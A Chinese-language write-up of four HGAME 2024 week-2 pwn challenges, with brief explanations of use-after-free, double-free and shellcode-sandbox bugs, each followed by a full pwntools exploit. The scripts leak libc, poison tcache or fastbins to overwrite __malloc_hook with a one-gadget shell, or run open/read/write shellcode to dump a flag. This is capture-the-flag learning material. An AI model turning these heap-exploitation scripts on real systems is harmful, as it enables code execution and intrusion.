HGAME-2024-week2-pwn


Elden Ring Ⅱ

2.32的uaf,漏洞点出现在delete之后没有清零

void delete_note()
{
  unsigned int index; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &index);
  if ( index <= 0xF )
  {
    if ( notes[index] )
      free((void *)notes[index]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
}

没有开地址随机化,虽然没什么用

[*] '/home/starrysky/game_2024/hgame/eldenring2/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

创建堆到unsorted bin中之后show出堆中的libc,再改tcache中某个堆的fdmalloc_hook再申请出来改成ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.100.137.175', 30743)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Index: ', str(index))
    r.sendlineafter(b'Size: ', str(size))

def edit(index, content):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Index: ', str(index))
    r.sendlineafter(b'Content: ', content)

def show(index):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'Index: ', str(index))

def delete(index):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'Index: ', str(index))

for i in range(9):
    add(i, 0x80)

for i in range(8):
    delete(i)

show(7)

libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x1ecbe0
libc = ELF('./libc.so.6')
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[1] + libc_base
malloc_hook = libc.sym['__malloc_hook'] + libc_base

edit(6, p64(malloc_hook))
add(9, 0x80)
add(10, 0x80)

edit(10, p64(gadget))

r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index: ', str(15))
r.sendlineafter(b'Size: ', str(20))

r.interactive()

fastnote

2.32版本的double free,没有edit函数

先利用从unsorted bin中申请的堆含有libc地址的特点泄露libc,再double freetcache中的堆地址为malloc_hook,最后把堆申请出来改成ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.100.137.175', 32683)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter(b'Your choice:', b'1')
    r.sendlineafter(b'Index: ', str(index))
    r.sendlineafter(b'Size: ', str(size))
    r.sendafter(b'Content: ', content)

def show(index):
    r.sendlineafter(b'Your choice:', b'2')
    r.sendlineafter(b'Index: ', str(index))

def delete(index):
    r.sendlineafter(b'Your choice:', b'3')
    r.sendlineafter(b'Index: ', str(index))

for i in range(9):
    add(i, 0x80, b'a' * 0x80)

for i in range(8):
    delete(i)

add(0, 0x40, b'a')
show(0)

libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x1ecc61
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[1] + libc_base
libc = ELF('./libc-2.31.so')
malloc_hook = libc.sym['__malloc_hook'] + libc_base

for i in range(9):
    add(i, 0x30, b'a' * 0x30)

for i in range(7):
    delete(i)

delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i, 0x30, b'a' * 0x30)

add(8, 0x30, p64(malloc_hook))
add(9, 0x30, b'a')
add(10, 0x30, p64(gadget))
add(11, 0x30, p64(gadget))

r.sendlineafter(b'Your choice:', b'1')
r.sendlineafter(b'Index: ', str(0))
r.sendlineafter(b'Size: ', str(0x20))

r.interactive()

old_fastnote

2.23 double free,用find_fake_fast绕过fastbin对申请的堆大小和申请的大小的检查

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('106.14.57.14', 30286)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size, content):
    r.sendlineafter(b'Your choice:', b'1')
    r.sendlineafter(b'Index: ', str(index))
    r.sendlineafter(b'Size:', str(size))
    r.sendlineafter(b'Content', content)

def show(index):
    r.sendlineafter(b'Your choice:', b'2')
    r.sendlineafter(b'Index: ', str(index))

def delete(index):
    r.sendlineafter(b'Your choice:', b'3')
    r.sendlineafter(b'Index: ', str(index))

add(0, 0x80, b'a')
add(1, 0x60, b'a')
add(2, 0x60, b'a')

delete(0)

show(0)
libc_base = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - 0x3c4b78
libc = ELF('./libc-2.23.so')

malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
gadget = libc_base + one[1]
fake = malloc_hook - 0x23

add(0, 0x80, b'a')

delete(1)
delete(2)
delete(1)

add(3, 0x60, p64(fake))
add(4, 0x60, b'a')
add(5, 0x60, b'a')
add(6, 0x60, b'a' * 0x13 + p64(gadget))

delete(4)
delete(4)

r.interactive()

ShellcodeMaster

0x2333000写入之后去掉写权限,并且改了所有寄存器

mprotect(buf, 0x1000uLL, 4);
.text:0000000000401386 49 C7 C7 00 30 33 02          mov     r15, 2333000h
.text:000000000040138D 48 C7 C0 33 23 00 00          mov     rax, 2333h
.text:0000000000401394 48 C7 C3 33 23 00 00          mov     rbx, 2333h
.text:000000000040139B 48 C7 C1 33 23 00 00          mov     rcx, 2333h
.text:00000000004013A2 48 C7 C2 33 23 00 00          mov     rdx, 2333h
.text:00000000004013A9 48 C7 C4 33 23 00 00          mov     rsp, 2333h
.text:00000000004013B0 48 C7 C5 33 23 00 00          mov     rbp, 2333h
.text:00000000004013B7 48 C7 C6 33 23 00 00          mov     rsi, 2333h
.text:00000000004013BE 48 C7 C7 33 23 00 00          mov     rdi, 2333h
.text:00000000004013C5 49 C7 C0 33 23 00 00          mov     r8, 2333h
.text:00000000004013CC 49 C7 C1 33 23 00 00          mov     r9, 2333h
.text:00000000004013D3 49 C7 C2 33 23 00 00          mov     r10, 2333h
.text:00000000004013DA 49 C7 C3 33 23 00 00          mov     r11, 2333h
.text:00000000004013E1 49 C7 C4 33 23 00 00          mov     r12, 2333h
.text:00000000004013E8 49 C7 C5 33 23 00 00          mov     r13, 2333h
.text:00000000004013EF 49 C7 C6 33 23 00 00          mov     r14, 2333h
.text:00000000004013F6 41 FF E7                      jmp     r15

本题的思路是先调用mprotect给写权限,再重新读shellcode

相关汇编知识点:

|63..32|31..16|15-8|7-0|
               |AH.|AL.|
               |AX.....|
       |EAX............|
|RAX...................|

cdq:把edx的所有位都设成eax最高位的值

最后orw会存在地址问题,将rsp设置正常即可

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shellcode = asm('''
mov rdi, r15
xor eax, eax
cdq
mov al, 10
mov dl, 7
syscall
xor eax, eax
mov esi, edi
mov edi, eax
mov dl, 0xff
syscall
''')

print(len(shellcode))
dbg()
r.sendlineafter(b'bytes shellcode', shellcode)

shellcode = '''
        mov rsp, rsi
        add rsp, 0x300
        mov rcx, 0x2333500
        mov dword ptr[rcx], 0x67616c66
        mov rdi, rcx
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall
        mov rax, 0
        mov rdi, 3
        mov rsi, 0x2333300
        mov rdx, 0x30
        syscall
        mov rax, 1
        mov rdi, 1
        mov rsi, 0x2333300
        mov rdx, 0x30
        syscall
'''

sleep(2)
r.sendline(b'\x90' * 24 + asm(shellcode))

r.interactive()

  目录